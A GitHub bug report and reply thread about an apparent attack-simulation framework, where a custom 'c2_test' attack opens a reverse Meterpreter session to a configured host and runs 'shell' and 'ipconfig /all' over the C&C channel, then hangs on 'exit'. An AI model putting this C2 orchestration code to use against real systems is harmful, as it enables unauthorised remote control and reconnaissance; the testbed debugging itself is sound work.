Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Blocked when executing exit command printing output in Attack #99

Open
1ncludeSteven opened this issue Nov 11, 2024 · 2 comments
Open
Assignees
Labels
bug Something isn't working

Comments

@1ncludeSteven
Copy link

Describe the bug
I add a new Attack as below:

class C2TestAttackOptions(AttackOptions):
    lhost = "Reverse HTTP target host or IP address"
    lport = "Reverse HTTP target port"

    def _set_defaults(self):
        self.lhost = "172.18.0.3"
        self.lport = "80"

class C2TestAttack(Attack):
    info = AttackInfo(
        name="c2_test",
        description="Test over the C&C channel")
    options_class = C2TestAttackOptions
    handler = None

    def run(self):
        with self.check_printed("172.16.0.1"):
            with self.wrap_ssh_exceptions():
                self._start_handler()
                self._handle_output()

    def _start_handler(self):
        self.handler = ReverseConnectionHandler(self.ssh_client, self.options.lhost, self.options.lport)
        self.handler.start()

    def _handle_output(self):
        for line in self.handler.stdout:
            self._respond(line)
            self.print(line)

    def _respond(self, line):
        if "Meterpreter session 1 opened" in line:
            time.sleep(2)
            self._collect_files()
        elif ("Backgrounding session " in line) or \
                ("Exploit completed, but no session was created" in line):
            self.handler.shutdown()

    def _collect_files(self):
        self.ssh_client.write_lines(self.handler.stdin, [
            "shell",
            "ipconfig /all",
            "exit",
            "bg"])
        time.sleep(1)

The core command executed in reversehandler is shell, ipconfig /all, exit and bg, however, when I execute exit command, the stdout print is blocked and then time out exception occured as below:
image

Expected behavior
This ssh_client should work normally when exit command is executed.

@1ncludeSteven 1ncludeSteven added the bug Something isn't working label Nov 11, 2024
@Maspital Maspital self-assigned this Nov 12, 2024
@Maspital
Copy link
Collaborator

Maspital commented Nov 12, 2024

Hm, I'm actually not sure what causes this.
As a temporary workaround, you can forcefully close the session with

def _collect_files(self):
        self.ssh_client.write_lines(
            self.handler.stdin,
            [
                "shell",
                "ipconfig /all",
            ],
        )
        self.handler.shutdown()

But I suspect this will leave the actual process alive on the client, which might not be what you want. I'll look a bit more into it when I find the time.

@1ncludeSteven
Copy link
Author

thanks for your kind response. I have another solution to solve above question with ssh_client.invoke_shell(), which can get a interactive shell so that each commands can be executed in a same ssh channel.

The code can be written in class Attack as below:

    def execute_commands(self, commands):
        channel = self.ssh_client.invoke_shell()
        for command in commands:
            channel.send(command + "\n")
            time.sleep(2)

            output = ""
            while True:
                if channel.recv_ready():
                    part = channel.recv(1024).decode("utf-8")
                    output += part
                    self.print(part)
                else:
                    time.sleep(0.5)
                    if output.endswith("$ ") or output.endswith("# ") or output.endswith('> ') or output.endswith(
                            '>'):
                        break

with above method, each commands can be executed using self.execute_commands(commands), for example,

class C2TestAttack(Attack):
    info = AttackInfo(
        name="c2_test",
        description="Finds and sends doc related files over the C&C channel")
    options_class = C2TestAttackOptions
    handler = None

    def run(self):
        self.ssh_client.connect_to_target()
        commands = [
            self._reverse_command(),
            "shell",
            "ipconfig /all",
            "exit",
            "exit -y"
        ]
        self.execute_commands(commands)
        time.sleep(1)
        self.ssh_client.close()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants